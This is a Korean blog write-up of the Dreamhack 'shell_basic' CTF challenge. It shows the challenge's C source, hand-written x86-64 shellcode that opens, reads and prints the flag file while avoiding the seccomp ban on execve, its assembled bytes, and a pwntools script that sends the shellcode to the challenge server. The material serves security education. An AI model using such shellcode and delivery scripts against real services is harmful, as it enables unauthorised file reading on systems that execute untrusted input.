문제 설명
Description
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.
$ cat write.asm
section .text
global _start
_start:
;/* write(fd=1, buf='hello', n=48) */
;/* push 'hello\x00' */
mov rax, 0x0a6f6c6c6568
push rax
mov rsi, rsp
push 1
pop rdi
push 0x6
pop rdx
;/* call write() */
push 1
pop rax
syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 48b8 6865 6c6c 6f0a 0000 5048 89e6 6a01 H.hello...PH..j.
00000010: 5f6a 065a 6a01 580f 05 _j.Zj.X..
$ cat write.bin | ./shell_basic
shellcode: hello
[1] 1592460 done cat write.bin |
1592461 segmentation fault ./shell_basic
$
먼저 execve 시스템콜을 사용하지 못하도록 한다고 했으니, 서버의 셸을 획득하여 권한을 뺏는 공격은 아닐 것이다.
flag파일의 이름을 알고 있으니,
read, write, open 시스템콜을 이용해서 flag 파일을 읽은 후 출력하면 될 것 같다.
먼저 shell_basic.c 코드를 살펴보자
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ cat shell_basic.c
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
먼저 프로그램 상에서 execve,execveat 시스템콜을 막는 것을 확인할 수 있고,
사용자로부터 shellcode를 입력받아서 실행하는 프로그램임을 확인할 수 있다.
1) 먼저 flag파일의 경로값(문자열)을 메모리에 위치시키고
2) 파일 open
3) 파일 read
4) 파일 write
순으로 시스템콜을 호출하는 어셈블리어 코드를 작성해보겠다.
[파일경로를 아스키코드 값으로 바꿔주는 코드]
#include <stdio.h>
#include <string.h>
int main(void) {
char *s = "/home/shell_basic/flag_name_is_loooooong";
int sLen = strlen(s);
for(int i=0;i<=4;i++) {
for(int j=0;j<=7;j++) printf("%2x", s[sLen-i*8-j-1]);
printf("\n");
}
}
리틀엔디안 방식이기때문에 역순으로 출력되게끔 코딩
ex) gnooooool_si_eman_galf/...
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ ./ascii
676e6f6f6f6f6f6f
6c5f73695f656d61
6e5f67616c662f63
697361625f6c6c65
68732f656d6f682f
-> [역순] 파일명 16진수값(리틀엔디언방식)
어셈블리어 코드 작성
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ vi shell_basic.asm
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax // 파일명을 메모리에 위치시킨다.
mov rdi, rsp // rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi // rsi = 0 ; RD_ONLY
xor rdx, rdx // rdx = 0
mov rax, 0x2 // rax = 2 ; syscall_open
syscall // open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
mov rdi, rax // rdi = fd
mov rsi, rsp
sub rsi, 0x30 // rsi = rsp-0x30 ; buf
mov rdx, 0x30 // rdx = 0x30 ; len
mov rax, 0 // rax = 0 ; syscall_read
syscall // read(fd, buf, 0x30)
mov rdi, 0x1 // rdi = 1 ; fd = stdout
mov rax, 0x1 // rax = 1 ; syscall_write
syscall // write(fd, buf, 0x30)
작성한 shellcode를 objdump를 이용하여 bytecode 형태로 추출
nasm -f elf64 shell_basic.asm
-> shell_basic.asm 어셈블리어 코드로부터 shell_basic.o 목적파일 생성
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ nasm -f elf64 shell_basic.asm
objcopy --dump-section .text=shell_basic.bin shell_basic.o
-> shell_basic.o 파일에서 .text를 추출하여 새로운 바이너리 파일인 shell_basic.bin을 만들어 복사한다.
xxd shell_basic.bin
-> shell_basic.bin 파일의 내용을 16진수 형태로 출력
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ xxd shell_basic.bin
00000000: 6a00 48b8 6f6f 6f6f 6f6f 6e67 5048 b861 j.H.oooooongPH.a
00000010: 6d65 5f69 735f 6c50 48b8 632f 666c 6167 me_is_lPH.c/flag
00000020: 5f6e 5048 b865 6c6c 5f62 6173 6950 48b8 _nPH.ell_basiPH.
00000030: 2f68 6f6d 652f 7368 5048 89e7 4831 f648 /home/shPH..H1.H
00000040: 31d2 b802 0000 000f 0548 89c7 4889 e648 1........H..H..H
00000050: 83ee 30ba 3000 0000 b800 0000 000f 05bf ..0.0...........
00000060: 0100 0000 b801 0000 000f 05 ..........
ld -o shell_basic2 shell_basic.o
-> shell_basic.o 목적파일을 링킹작업을 통해 shell_basic2 실행파일로 연결
for i in $(objdump -d ./shell_basic2 | grep "^ "| cut -f2);do echo -n "\\x$i"; done
-> shell_basic2 실행파일을 16진수로 보기 좋게 만들어주는 명령어
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ for i in $(objdump -d ./shell_basic2 | grep "^ "| cut -f2);do echo -n "\\x$i"; done
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
[해당 바이너리 값으로 파이썬 익스플로잇 코드 작성]
yuseong@yuseong:~/DreamHack/systemhacking/ShellBasic$ vi shellcodesend.py
from pwn import * // pwntools 라이브러리 사용
r = remote("host3.dreamhack.games", 14378) // remote 함수를 사용하여 dreamhack 서버 포트로 연결, 리모트 서버에 tcp연결을 설정하고 이를 제어하기 위한 객체 'r'을 생성한다.
context.arch = "amd64" // 사용할 아키텍처를 x86-64(amd64)로 설정한다. 이것은 나중에 셸코드를 생성할 때 해당 아키텍처를 사용하도록 지정한다.
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
// flag값이 들어있는 파일을 열고 안에 있는 값을 출력해주는 익스플로잇 셸코드
r.send(shellcode) // 연결된 원격 서버에 셸코드 전송
r.interactive() // 프로그램을 대화형 모드로 전환하여 셸이 실행되었을 때 사용자가 셸과 상호작용할 수 있도록 함.
'CTF > dreamhack(pwnable)' 카테고리의 다른 글
어셈블리어 (0) | 2024.03.24 |
---|